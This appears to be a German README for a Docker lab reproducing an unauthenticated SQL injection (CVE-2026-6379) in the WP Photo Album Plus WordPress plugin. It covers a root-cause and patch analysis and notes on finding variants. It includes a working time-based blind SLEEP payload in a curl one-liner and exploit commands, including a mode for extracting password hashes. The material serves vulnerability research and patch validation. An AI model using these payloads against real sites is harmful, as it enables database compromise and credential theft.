
# Docker-basiertes Lab-Kit für CVE-2026-6379, eine nicht authentifizierte SQL-Injection in WP Photo Album Plus. Enthält zeitbasiertes Blind-PoC, Root-Cause-Analyse und Patch-Validierung für autorisierte Sicherheitsforschung.
Parameter: wppa-supersearch
Schweregrad: CVSS 8.6 (hoch) laut WPScan/Wordfence
Hersteller-Fix: 2026-04-17 (Commit d2b0d05d im WordPressBugBounty-Mirror)
Öffentliche Offenlegung: 2026-04-27 (WPScan)
Dieses Kit enthält ein eigenständiges Docker-Labor und einen funktionierenden PoC, damit du den Fehler Ende-zu-Ende reproduzieren, validieren und vermitteln kannst.
# Auf dem Labor-Host:
cd lab && ./setup.sh
# Wenn der Installer "=== LAB READY ===" mit einer page_id ausgibt:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Ein verwundbares Ziel antwortet in auf den SLEEP-Probe; ein gepatchtes Ziel antwortet in .
~5s<1sManueller Einzeiler-Check:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # diese Datei
├── docs/
│ ├── writeup.md # Root-Cause- und Patch-Analyse
│ └── prompts.md # KI-Recherche-Prompts, die dieses Kit destilliert haben
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # Start / Stopp / Bereinigung
│ └── init/install.sh # idempotenter Installer (wp-cli)
└── pocs/
├── exploit.py # zeitbasierte Blind-SQLi (probe / version / user / hash)
└── test_oracle.sh # Ende-zu-Ende-Integrationstest
wppa_get_photos() parst den Request-Parameter wppa-supersearch als
CSV s1,type,s3,DATA. Wenn type='o' (Owner), wird DATA direkt
in einen SQL-String konkateniert:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Kein Quoting, kein $wpdb->prepare. Das Setzen von wppa-supersearch=,o,,x' OR (...)-- -
entkommt dem gequoteten Owner und führt beliebiges SQL aus. Der Endpunkt ist die öffentliche
Frontend-Seite, die den [wppa]-Shortcode hostet, daher ist keine Authentifizierung erforderlich.
Der Fix umschließt jeden zuvor konkatenierten Fall mit $wpdb->prepare(..., %s).
d2b0d05d)Der CVE-2026-6379-Patch schreibt sechs verschiedene SQL-Sinks innerhalb
von wppa_get_photos() in wppa-functions.php neu. Beide PoC-Modi (probe und
probe-calendar) treffen unabhängige Sinks; die anderen unterscheiden sich nur in der
Payload-Form. Alle sind nicht authentifiziert und über dasselbe wppa-occur=N-Gating
wie der primäre Sink erreichbar.
| # | Sink (verwundbare Zeile) | Trigger-Parameter | PoC-Modus |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (Zeile 1244) | wppa-supersearch=,o,,… | --mode probe (live validiert) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (Zeile 1237) | wppa-supersearch=,n,,… | nicht ausgenutzt (Slug-Filter entfernt Quotes) |
| 3 | tag — WHERE tags LIKE '%$d%' (Zeile 1254) | wppa-supersearch=,g,,… | durch wppa_sanitize_tags() eingeschränkt |
| 4 | Kalender exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (Zeile 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (live validiert) |
| 5 | Kalender timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (Zeile 1368) | wppa-calendar=timestamp&wppa-caldate=… | numerische Umwandlung (intval) — begrenzt |
| 6 | Kalender modified — wie timestamp (Zeile 1375) | wppa-calendar=modified&wppa-caldate=… | numerische Umwandlung — begrenzt |
Die Zeilen #4–#6 entfernten im selben Commit auch ein verwaistes ORDER BY $order-Fragment —
siehe „Zugehörige Härtung" unten.
Eine breitere Prüfung von wppa-functions.php gegen denselben verwundbaren Build
brachte Sinks außerhalb des CVE-2026-6379-Patches ans Licht. Sie sind nicht das,
was WPScan/Wordfence veröffentlicht hat, und nicht alle sind gleichermaßen ausnutzbar, aber
sie sind hier dokumentiert, damit das Labor auch für die Jagd nach Varianten nützlich ist.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — wahrscheinlich separate SchwachstelleStatus: in 9.1.11.001 vorhanden (nach dem Patch). Nicht durch d2b0d05d behoben.
Kandidat für ein Folge-CVE.
%s ist für eine kommagetrennte IN-Liste nicht gültig (es erzeugt immer einen einzelnen
gequoteten String). Das Plugin umgeht das, indem es das vorbereitete Statement in
stripslashes() einwickelt, was genau das Escaping entfernt, das prepare()
gerade hinzugefügt hat — wodurch die Injection wieder geöffnet wird, wenn ein Listenelement
vom Angreifer kontaminiert ist.
Repräsentative Vorkommen: wppa-functions.php Zeilen 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Suchabfrage für die Variantenanalyse:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — teilweise behobenDer Patch entfernte ORDER BY $order aus den Kalender-/IN-Klausel-Sinks, ließ es aber
in anderen. $order wird aus dem Plugin-Laufzeitzustand (Einstellungstabelle) gesetzt —
die Ausnutzbarkeit erfordert einen Schreibpfad in diesen Zustand. Als Härtung betrachten.
wp_strip_all_tags() als SQL-Sanitizer verwendet (Variante von #4)wp_strip_all_tags entfernt HTML, nicht SQL. Wo immer es um ein gequotetes
SQL-Fragment herum erscheint, ist dieses Fragment injizierbar. Über caldate hinaus
jeden anderen Request-Wert prüfen, der vor der Konkatenation durch diese Funktion fließt.
| Zustand | probe | probe-calendar |
|---|---|---|
| Verwundbar (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Gepatcht (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Plugin deaktiviert | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Seite ohne [wppa]-Shortcode | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Versionen auf einem laufenden Labor wechseln:
# Gepatcht:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Probe erneut ausführen; sollte negativ sein.
admin / adminadmin — niemals dem Internet aussetzen../setup.sh purge herunterfahren (löscht das Datenbank-Volume).wppa-functions.php (verwundbar): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (gepatcht): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php